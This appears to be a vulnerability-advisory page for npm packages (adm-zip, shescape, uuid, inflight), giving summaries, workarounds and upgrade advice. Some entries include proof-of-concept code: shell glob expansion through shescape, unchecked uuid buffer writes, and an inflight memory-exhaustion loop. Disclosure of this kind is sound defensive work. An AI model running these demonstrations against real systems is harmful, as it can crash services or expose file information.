Find, fix and prevent vulnerabilities in your code.

Overview

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the async decompression path in methods/inflater.js, where the maxOutputLength cap enforced by zlib's sync API is not applied to the streaming (async) path. An attacker can supply a ZIP entry whose declared uncompressed size is small but whose compressed payload expands arbitrarily, causing unbounded memory growth and crashing the host process.

Remediation

Upgrade adm-zip to version 0.6.1 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

shescape is a simple shell escape library

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the escape function. An attacker can cause unintended expansion of shell arguments by supplying input containing square brackets, which may result in multiple filesystem matches being processed instead of a single literal argument. This can lead to changes in command behavior, targeting of unintended files, or exposure of filenames when the output is used in shell commands.

PoC

tmp=$(mktemp -d)
cd "$tmp"
npm pack shescape@2.1.9 >/dev/null
mkdir pkg
tar -xzf shescape-2.1.9.tgz -C pkg
cd pkg/package
npm install --omit=dev

node --input-type=module - <<'NODE'
import { mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { execSync } from "node:child_process";
import { Shescape } from "./src/index.js";

const dir = mkdtempSync(path.join(tmpdir(), "shescape-ghsa-poc-"));
writeFileSync(path.join(dir, "secret1"), "");
writeFileSync(path.join(dir, "secret2"), "");

for (const shell of ["/usr/bin/bash", "/usr/bin/dash"]) {
  const shescape = new Shescape({ shell });
  const escaped = shescape.escape("secret[12]");
  console.log(${shell} escaped=${escaped});
  const out = execSync(printf '<%s>\\n' ${escaped}, { cwd: dir, shell }).toString();
  process.stdout.write(out);
}
NODE

Remediation

Upgrade shescape to version 2.1.10 or higher.

References

• GitHub Commit

Overview

shescape is a simple shell escape library

Affected versions of this package are vulnerable to Command Injection in the escape and escapeAll functions when used on Unix systems with the shell explicitly configured to Zsh, or when the default shell is Zsh. An attacker can obtain lists of files and directories on the system by leveraging home directory expansion and extended glob syntax.

Note: This is only exploitable if the shell is set to Zsh and the Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST are enabled.

Remediation

Upgrade shescape to version 2.1.14, 3.0.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR

Overview

shescape is a simple shell escape library

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the escape or escapeAll process when used with the shell option set to Dash or when the default shell is Dash. An attacker can obtain the user's home directory and potentially influence the location on which a command operates by supplying specially crafted input containing ~ characters. This is only exploitable if the application explicitly configures the shell option to Dash or relies on Dash as the default shell in assignment contexts.

Workaround

This vulnerability can be mitigated by refraining from using Dash, using the env option of the node:child_process API to inject variables with untrusted values, or removing all instances of ~ from untrusted inputs.

Remediation

Upgrade shescape to version 2.1.14, 3.0.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

shescape is a simple shell escape library

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the getEscapeFunction logic in src/internal/unix/busybox.js. An attacker can reveal the user's home directory and alter how a command interprets an assignment-prefixed value by supplying input such as :~ or a=~ to escape or escapeAll when Unix shell escaping targets BusyBox sh. On affected Unix systems where shell is set to "sh" or true and /bin/sh points to BusyBox, the escaped tilde is expanded in assignment contexts instead of being treated as data, causing commands like V=...; echo $V to print : followed by the home path.

Remediation

Upgrade shescape to version 2.1.15, 3.0.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Pull Request
• GitHub Pull Request
• Maintainer's Advisory

Overview

shescape is a simple shell escape library

Affected versions of this package are vulnerable to Improper Neutralization in the escape or escapeAll process when used with Zsh as the shell, especially if the Zsh options EXTENDED_GLOB or MAGIC_EQUAL_SUBST are enabled. An attacker can obtain sensitive information about files and directories by supplying crafted input that leverages home directory expansion or extended glob syntax. This is only exploitable if the application is configured to use Zsh as the shell and the relevant Zsh options are enabled.

Workaround

This vulnerability can be mitigated by refraining from using Zsh, disabling the EXTENDED_GLOB option, or removing all instances of ^, #, and ~ from untrusted inputs.

Remediation

Upgrade shescape to version 2.1.14, 3.0.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

• GitHub Issue
• GitHub PR